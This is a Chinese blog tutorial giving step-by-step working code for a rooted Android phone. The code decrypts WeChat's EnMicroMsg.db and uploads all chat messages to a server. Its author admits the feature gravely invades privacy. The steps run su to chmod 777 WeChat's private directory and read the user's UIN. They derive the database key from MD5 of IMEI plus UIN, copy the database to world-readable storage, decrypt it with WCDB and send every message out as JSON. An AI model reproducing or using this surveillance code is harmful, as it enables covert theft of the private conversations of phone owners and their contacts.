带你一步步破解Android微信聊天记录解决方案

哪个小可爱在偷偷的看我~~


偷瞄.gif

前言

最近公司需要做个内部应用,需求有通话并录音上传服务器,微信聊天记录上传服务器,我擦,竟然要做严重窃取隐私的功能,一万个草泥马奔腾而来,于是乎开始研究如何实现,网上的文章都不是很详细,本篇文章带你来一步步实现如何获取微信聊天记录,通话录音上传另一篇文章将予介绍

微信的聊天记录保存在Android内核中,路径如下:
"/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"目录下。

说明

1、微信聊天记录数据库它并不是保存sd卡下,而是保存在内核中,手机是看不到此目录,只有root过后才可以看到,至于如何Root这里就不做介绍了,如今手机越来越趋向于安全方面,所以root比较费事
2、数据库保存在data/data目录下,我们需要访问此目录以获得我们需要的信息,直接访问权限还是不够,此时需要进一步获取root权限
3、代码打开数据库,会遇到如下几个问题
(1) 微信数据库是加密文件,需要获取密码才能打开,数据库密码为 《MD5(手机的IMEI+微信UIN)的前七位》
(2) 微信数据库路径是一长串数字,如5a670a2e0d0c10dea9c7a4a49b812ce4,文件生成规则《MD5(“mm”+微信UIN)》 ,注:mm是字符串和微信uin拼接到一起再md5
(3) 直接连接数据库微信会报异常,所以需要我们将数据库拷贝出来再进行打开
(4) 获取微信UIN,目录位置在/data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml中,_auth_uin字段下的value
(5) 获取数据库密码,密码规则为:MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
4、打开加密数据库,因为微信数据是sqlite 2.0,所以需要支持2.0才可以打开,网上介绍的最多的是用这个第三方net.zetetic:android-database-sqlcipher:4.2.0@aar,但经测试不可行,后来选择用微信开源数据库com.tencent.wcdb:wcdb-android:1.0.0
5、开始查找需要的内容,剩下的就是sq语言了,聊天记录在message表中,好友在rcontact表中,群信息在chatroom表中等,根据自己需求去查找
6、为了更直观的看到表结构去操作,可以用sqlcipher去查看下载地址

开始一步步实现

1、获取root手机

有好多root工具,经过踩坑是一键root不了6.0以上手机的,大家可以去选择其他方案去获取root手机

2、项目获取微信数据库目录路径root最高权限

因为只有获取了root最高权限才可以对文件进行操作,通过Linux命令去申请chmod 777 -R
WX_ROOT_PATH="/data/data/com.tencent.mm/";
申请时调用execRootCmd("chmod 777 -R " + WeChatUtil.WX_ROOT_PATH);
方法如下

/**
     * execRootCmd("chmod 777 -R /data/data/com.tencent.mm");
     * <p>
     * 执行linux指令 获取 root最高权限
     */
    public static void execRootCmd(String paramString) {
        try {
            Process localProcess = Runtime.getRuntime().exec("su");
            Object localObject = localProcess.getOutputStream();
            localDataOutputStream = new DataOutputStream((OutputStream) localObject);
            String str = String.valueOf(paramString);
            localObject = str + "\n";
            localDataOutputStream.writeBytes((String) localObject);
            localDataOutputStream.flush();
            localDataOutputStream.writeBytes("exit\n");
            localDataOutputStream.flush();
            localProcess.waitFor();
            localObject = localProcess.exitValue();
        } catch (Exception localException) {
            localException.printStackTrace();
        }finally {
            if (localDataOutputStream!=null){
                try {
                    localDataOutputStream.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }
3、拿到数据库EnMicroMsg.db路径

先看下数据库路径/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
因为EnMicroMsg.db父级路径不同微信号是会变的,所以需要动态去获取,父级路径生成规则为《MD5(“mm”+微信UIN)》,下一步我们需要获取微信的uin
WX_DB_DIR_PATH=/data/data/com.tencent.mm/MicroMsg/
整体路径为WX_DB_DIR_PATH+《MD5(“mm”+微信UIN)》+/EnMicroMsg.db

4、获取微信uin

微信uin存储路径在\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml中,如图所示

uin.jpg

拿到此文件我们需要xml文件解析才可以获得_auth_uinvalue,解析工具dom4j下载地址

/**
     * 获取微信的uid
     * 目标 _auth_uin
     * 存储位置为\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml
     */
    public static String initCurrWxUin(final Activity context) {
        String mCurrWxUin = null;
        File file = new File(WX_SP_UIN_PATH);
        try {
            in = new FileInputStream(file);
            SAXReader saxReader = new SAXReader();
            Document document = saxReader.read(in);
            Element root = document.getRootElement();
            List<Element> elements = root.elements();
            for (Element element : elements) {
                if ("_auth_uin".equals(element.attributeValue("name"))) {
                    mCurrWxUin = element.attributeValue("value");
                }
            }

            return mCurrWxUin;
        } catch (Exception e) {
            e.printStackTrace();
            if(MainActivity.isDebug){
                Log.e("initCurrWxUin", "获取微信uid失败,请检查auth_info_key_prefs文件权限");
            }
            context.runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(context, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();
                }
            });

        }finally {
            try {
                if(in!=null){
                    in.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        return "";
    }
5、获取微信数据库密码

密码规则为MD5Until.md5("IMEI+微信UIN").substring(0, 7).toLowerCase()
上边我们已经获取了微信uin,接下来需要获取手机IMEI,
获取方法1:在手机拨号键输入:*#06# 即可获取
获取方法2:代码中获取

/**
     * 获取手机的imei
     *
     * @return
     */
    @SuppressLint("MissingPermission")
    private static String getPhoneIMEI(Context mContext) {

        String id;
        //android.telephony.TelephonyManager
        TelephonyManager mTelephony = (TelephonyManager) mContext.getSystemService(Context.TELEPHONY_SERVICE);
        if (mTelephony.getDeviceId() != null) {
            id = mTelephony.getDeviceId();
        } else {
            //android.provider.Settings;
            id = Settings.Secure.getString(mContext.getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);
        }
        return id;
    }

接下来需要生成密码

/**
     * 根据imei和uin生成的md5码获取数据库的密码
     *
     * @return
     */
    public static String initDbPassword(final Activity mContext) {
        String imei = initPhoneIMEI(mContext);
        //以为不同手机微信拿到的识别码不一样,所以需要做特别处理,可能是MEID,可能是 IMEI1,可能是IMEI2
        if("868739046004754".equals(imei)){
            imei = "99001184251238";
        }
        else if("99001184249875".equals(imei)){
            imei = "868739045977497";
        }
        String uin = initCurrWxUin(mContext);
        if(BaseApp.isDebug){
            Log.e("initDbPassword", "imei===" + imei);
            Log.e("initDbPassword", "uin===" + uin);
        }
        try {
            if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) {
                if(BaseApp.isDebug){
                    Log.e("initDbPassword", "初始化数据库密码失败:imei或uid为空");
                }
                mContext.runOnUiThread(new Runnable() {
                    @Override
                    public void run() {
                        Toast.makeText(mContext, "请确认是否授权root权限,并登录微信", Toast.LENGTH_SHORT).show();
                    }
                });
                return "";
            }
            String md5 = Md5Utils.md5Encode(imei + uin);
            String password = md5.substring(0, 7).toLowerCase();
            if(BaseApp.isDebug){
                Log.e("initDbPassword", password);
            }
            return password;
        } catch (Exception e) {
            if(BaseApp.isDebug){
                Log.e("initDbPassword", e.getMessage());
            }
        }
        return "";
    }
6、复制数据库

为啥要复制数据库呢?因为直接去链接数据库微信会奔溃,所以我们需要将数据库拷贝出来再进行操作
踩坑1:数据库复制的路径也需要获取root权限,即Linux 的chmod 777 -R去申请
踩坑2:复制的路径如果是二级目录,需要一级一级去申请
于是我直接放到根目录下了copyPath = Environment.getExternalStorageDirectory().getPath() + "/";
再获取root最高权限execRootCmd("chmod 777 -R " + copyPath);
path=/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db
复制数据库 FileUtilCopy.copyFile(path, copyFilePath);

public class FileUtilCopy {
    private static FileOutputStream fs;
    private static InputStream inStream;

    /**
     * 复制单个文件
     *
     * @param oldPath String 原文件路径 如:c:/fqf.txt
     * @param newPath String 复制后路径 如:f:/fqf.txt
     * @return boolean
     */
    public static void copyFile(String oldPath, String newPath) {
        try {
            int byteRead = 0;
            File oldFile = new File(oldPath);

            //文件存在时
            if (oldFile.exists()) {
                //读入原文件
                inStream = new FileInputStream(oldPath);
                fs = new FileOutputStream(newPath);
                byte[] buffer = new byte[1444];
                while ((byteRead = inStream.read(buffer)) != -1) {
                    fs.write(buffer, 0, byteRead);
                }
            }

        } catch (Exception e) {
            if (BaseApp.isDebug) {
                Log.e("copyFile", "复制单个文件操作出错");
            }
            e.printStackTrace();
        } finally {
            try {
                if (inStream != null) {
                    inStream.close();
                }
                if (fs != null) {
                    fs.close();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }

        }
    }
}
7、打开数据库

注:网上好多介绍都是用net.zetetic:android-database-sqlcipher:4.2.0@aar去打开的,但经过测试打不开
于是用了微信自家开源的数据库打开了com.tencent.wcdb:wcdb-android:1.0.0,微信还是对自家人友善

 /**
     * 连接数据库
     */
    public void openWxDb(File dbFile, final Activity mContext, String mDbPassword) {

        SQLiteCipherSpec cipher = new SQLiteCipherSpec()  // 加密描述对象
                .setPageSize(1024)        // SQLCipher 默认 Page size 为 1024
                .setSQLCipherVersion(1);  // 1,2,3 分别对应 1.x, 2.x, 3.x 创建的 SQLCipher 数据库

        try {
            //打开数据库连接
            System.out.println(dbFile.length() + "================================");
            SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(
                    dbFile,     // DB 路径
                    mDbPassword.getBytes(),  // WCDB 密码参数类型为 byte[]
                    cipher,                 // 上面创建的加密描述对象
                    null,                   // CursorFactory
                    null                    // DatabaseErrorHandler
                    // SQLiteDatabaseHook 参数去掉了,在cipher里指定参数可达到同样目的
            );
            //获取消息记录
            getReMessageData(db);
        } catch (Exception e) {
            Log.e("openWxDb", "读取数据库信息失败" + e.toString());
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    showToast("读取数据库信息失败");
                    L.e("读取数据库信息失败");
                }
            });
        }
    }
8、演示获取微信聊天记录并上传

可以让后台保存最后上传时间,下次上传新消息时用最后时间取查
注:微信数据库时间精确到毫秒

String messageSql = "select * from message where  createTime >";

    /**
     * 获取聊天记录并上传
     *
     * @param db
     */
    public void getReMessageData(SQLiteDatabase db) {
        Cursor cursor3 = null;
        if (BaseApp.isDebug) {
//            Log.e("query查询分割时间", DateUtil.timeStamp2Date(longLastUpdateTime + EMPTY));
        }
        try {
            //判断是否强制更新所有的记录
            if (mLastTime == 0) {
                //如果是选择全部,则sql 为0
                if (true) {
                    cursor3 = db.rawQuery(messageSql + 0, null);
                    Log.e("query", "更新状态:更新全部记录" + messageSql + 0);
                } else {
                    //不是选择全部,则sql 为用户输入值
//                    String searchMessageSql = messageSql + addTimestamp+ "  and createTime < "+endTimestamp;
//                    cursor3 = db.rawQuery(searchMessageSql, null);
//                    Log.e("query", "更新状态:更新选择的全部记录" + searchMessageSql);
                }
            } else {
                Log.e("query", "按时间节点查询" + messageSql +mLastTime);
                cursor3 = db.rawQuery((messageSql + mLastTime), null);
//                Log.e("query", "更新状态:增量更新部分记录" + messageSql + longLastUpdateTime);
            }

            List<WeChatMessageBean> weChatMessageBeans = new ArrayList<>();

            while (cursor3.moveToNext()) {
                String content = cursor3.getString(cursor3.getColumnIndex("content"));

                if (content != null && !TextUtils.isEmpty(content)) {

                    WeChatMessageBean messageBean = new WeChatMessageBean();
                    String msg_id = cursor3.getString(cursor3.getColumnIndex("msgId"));
                    int type = cursor3.getInt(cursor3.getColumnIndex("type"));
                    int status = cursor3.getInt(cursor3.getColumnIndex("status"));
                    int is_send = cursor3.getInt(cursor3.getColumnIndex("isSend"));
                    String create_time = cursor3.getString(cursor3.getColumnIndex("createTime"));
                    String talker = cursor3.getString(cursor3.getColumnIndex("talker"));

                    messageBean.setMsg_id(msg_id);
                    messageBean.setType(type);
                    messageBean.setStatus(status);
                    messageBean.setIs_send(is_send);
                    messageBean.setCreate_time(create_time);
                    messageBean.setContent(content);
                    messageBean.setTalker(talker);
                    weChatMessageBeans.add(messageBean);
                }
            }
            if (weChatMessageBeans.size() < 1) {
                L.e("当前无最新消息>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>");
                return;
            }

            //3.把list或对象转化为json
            Gson gson2 = new Gson();
            String str = gson2.toJson(weChatMessageBeans);
            if (BaseApp.isDebug) {
                Logger.json(str);
            }
            //上传服务器
            mPresenter.getWechatRecordSuccess(str);

        } catch (Exception e) {
            Log.e("openWxDb", "读取数据库信息失败" + e.toString());
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    L.e("读取数据库信息失败");
                    showToast("读取数据库信息失败");

                }
            });
        } finally {
            if (cursor3 != null) {
                cursor3.close();
            }
            if (db != null) {
                db.close();
            }
        }

    }
9、pc端更直观去查看数据库结构可通过sqlcipher去查看下载地址

"/data/data/com.tencent.mm/MicroMsg/5a670a2e0d0c10dea9c7a4a49b812ce4/EnMicroMsg.db"
将数据库EnMicroMsg.db拷贝到电脑上
用SQLit打开

数据库1.png

数据库2.png

数据库3.png


最后祝大家开发愉快!